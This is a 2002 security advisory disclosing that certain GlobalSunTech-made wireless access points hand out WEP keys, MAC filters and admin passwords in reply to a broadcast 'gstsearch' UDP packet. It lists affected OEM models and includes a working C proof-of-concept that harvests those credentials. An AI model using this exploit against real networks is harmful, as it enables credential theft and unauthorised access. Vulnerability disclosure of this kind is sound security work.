Accesspoints disclose wep keys, password and mac filter (fwd)

[Tom Knienieder <knienieder () khamsin ch>]

KHAMSIN Security News
KSN Reference: 2002-11-01 0001 ULO
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Title
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        Accesspoints disclose wep keys, password and mac filter

Date
----
        2002-11-01


Description:
------------

GlobalSunTech develops Wireless Access Points for OEM customers like
Linksys, D-Link and others. Capturing the traffic of a WISECOM GL2422AP-0T
during the setup phase showed a security problem.

Sending a broadcast packet to UDP port 27155 containing the string
"gstsearch" causes the accesspoint to return wep keys, mac filter and
admin password. This happens on the WLAN Side and on the LAN Side.


Systems Affected
----------------
        Vulnerable, tested, OEM Version from GlobalSunTech:
                WISECOM GL2422AP-0T

        Possibly vulnerable, not tested, OEM Version from GlobalSunTech:
                D-Link DWL-900AP+ B1 version 2.1 and 2.2
                ALLOY GL-2422AP-S
                EUSSO GL2422-AP
                LINKSYS WAP11-V2.2


Proof of concept:
-----------------

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>

typedef struct {
        char type[28];
        char name[32];
        char user[16];
        char pass[16];
}
__attribute__ ((packed)) answer;

int main()
{
        char rcvbuffer[1024];
        struct sockaddr_in sin;
        answer* ans = (answer *)rcvbuffer;
        int sd, ret, val;

        sin.sin_family          = AF_INET;
        sin.sin_addr.s_addr     = inet_addr("255.255.255.255");
        sin.sin_port            = htons(27155);

        sd = socket(AF_INET, SOCK_DGRAM, 0);
        if (sd < 0)
                perror("socket");

        val = 1;
        ret = setsockopt(sd, SOL_SOCKET, SO_BROADCAST, &val, sizeof(val));
        if (ret < 0)
        {
                perror("setsockopt");
                exit(1);
        }

        ret = sendto(sd, "gstsearch", 9, 0, &sin, sizeof(struct sockaddr));
        if (ret < 0)
        {
                perror("sendto");
                exit(1);
        }

        ret = read(sd,&rcvbuffer,sizeof(rcvbuffer));

        printf("Type            : %s\n",ans->type);
        printf("Announced Name  : %s\n",ans->name);
        printf("Admin Username  : %s\n",ans->user);
        printf("Admin Password  : %s\n",ans->pass);

        return 0;
}

Disclaimer
-----------

        This advisory does not claim to be complete or to be usable for
        any purpose. Especially information on the vulnerable systems may
        be inaccurate or wrong. Possibly supplied exploit code is not to
        be used for malicious purposes, but for educational purposes only.
        This advisory is free for open distribution in unmodified form.

        http://www.khamsin.ch